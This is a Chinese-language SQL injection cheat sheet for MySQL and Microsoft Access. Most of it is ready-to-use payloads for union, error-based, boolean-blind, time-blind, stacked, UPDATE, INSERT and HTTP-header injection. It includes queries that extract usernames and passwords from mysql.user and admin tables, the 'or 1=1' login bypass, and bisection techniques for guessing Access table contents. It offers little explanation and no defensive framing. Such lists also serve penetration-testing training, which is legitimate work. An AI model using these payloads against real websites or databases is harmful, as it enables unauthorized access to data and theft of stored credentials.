========MySQL数据库

SQL查询语句

- 获取数据库信息
    select user(),version(),database(),@@datadir,@@version_compile_os

- 获取数据库名字
    select schema_name from schemata;
    select schema_name from information_schema.schemata;
    select group_concat(distinct table_schema) from tables;
    select group_concat(distinct table_schema) from information_schema.tables;

- 获取数据库表名字
    select group_concat(distinct table_name) from information_schema.tables where table_schema='mysql';
    select group_concat(distinct table_name) from information_schema.tables where table_schema=database();

- 获取字段名
    select group_concat(distinct column_name) from information_schema.columns where table_schema='mysql' and table_name='user';

- 获取字段内容
    select concat(0x3a,user,0x3a,password,0x3a) from mysql.user;

联合查询注入

判断注入（略）、判断字段（列）数
    union select 
    order by
查看回显位
    union select 1,2,3,4,……

获取数据库信息,假设回显位为1,2
    union select version(),user(),3%23

获取数据库名字
    union select null,schema_name,null from information_schema.schemata%23
    union select 1,schema_name,3 from information_schema.schemata%23
    union select null,group_concat(schema_name),null from information_schema.schemata%23

获取数据库表
    union select null,group_concat(table_name),null from information_schema.tables%23//获取所有数据库表
    union select null,group_concat(table_name),null from information_schema.tables where table_schema='zaqtest'%23//获取指定的数据库zaqtest的表
    union select null,group_concat(table_name),null from information_schema.tables where table_schema=database()%23//获取当前web系统的数据库的表

获取users字段字段名
    union select null,group_concat(column_name),null from information_schema.columns where table_schema=database() and table_name='users'%23

获取字段内容
    union select null,concat(0x3a,username,0x3a,password,0x3a),null from zaqtest.users%23

报错注入

    and (updatexml(1,concat(0x7e,(select user()),0x7e),1))
    and (select 1 from (select count(*),concat(user(),floor(rand(0)*2))x from information_schema.tables group by x)a)
    and (extractvalue(1,concat(0x7e,(select user()),0x7e)))
    and exp(~(select * from(select user())a))
    (!(select * from (select user())x) - ~0)

布尔盲注

    and if(mid(user(),1,1),1,0)
    and if(mid(user(),1,1)='r',1,0)
    and (select user() like 'r%' from tables limit 0,1)

时间盲注

    and if(1=1,sleep(3),1)

堆叠查询

    okmmk';update Zaq_member set email=(select user()) WHERE username='okmmk';

update注入

    update Zaq_member set email='',email=(select user())#' where username = 'okmmk'
    update Zaq_member set email='',email=(select user()) where username = 'okmmk' 1#' where username = 'okmmk'

insert 注入

    insert into test(username,password) values('1' and (updatexml(1,concat(0x7e,user(),0x7e),1))and '','234');

http头注入

在HTTP头中这几个是常见存在注入点的地方:
    X-Forwarded-For
    Host
    User-agent
    Referer

    X-Forwarded-For:1'and (updatexml(1,concat(0x7e,(select user()),0x7e),1)) and 'A
    insert into Zaq_log(ip,url,referer,ua)values('1'and (updatexml(1,concat(0x7e,(select user()),0x7e),1)) and '','http://127.0.0.1/web_sql/http-sql/index.php','','Mozilla/5.0 (Macintosh; Intel Mac OS X 10.13; rv:56.0) Gecko/20100101 Firefox/56.0')

万能密码

    or 1=1

========ACCESS数据库

1.报错信息:

    and exists(select * from MSysAccessObiects)

    and (select count(*) from sysobjects)>0
    and (select count(*) from msysobjects)>0

2.猜表:

    and exists(select * from tables) #返回正常说明表存在!

3.猜字段和字段内容

(1)猜字段数

    order by 5
    union select 1,2,3,4...

    接着猜字段数: order by 3
    假设猜到字段数是3 然后查看回显位: union select 1,2,3

(2)猜字段名

    先猜字段名: 
        and exists(select username from admin) #返回正常表示 username 存在
        and exists(select password from admin) #返回正常表示 password 存在
    二分法猜字段长度和内容:
        猜长度:
            and (select top 1 len(username) from admin)>30    //error
            and (select top 1 len(username) from admin)<30    //True,接着二分法
        猜内容:
            and (select top 1 ascii(mid(username,1,1))>97 from admin)    //true
            and (select top 1 ascii(mid(username,1,1))>114 from admin)    //error    
            证明admin表的第一个记录的username字段的第一个字母的ASCII码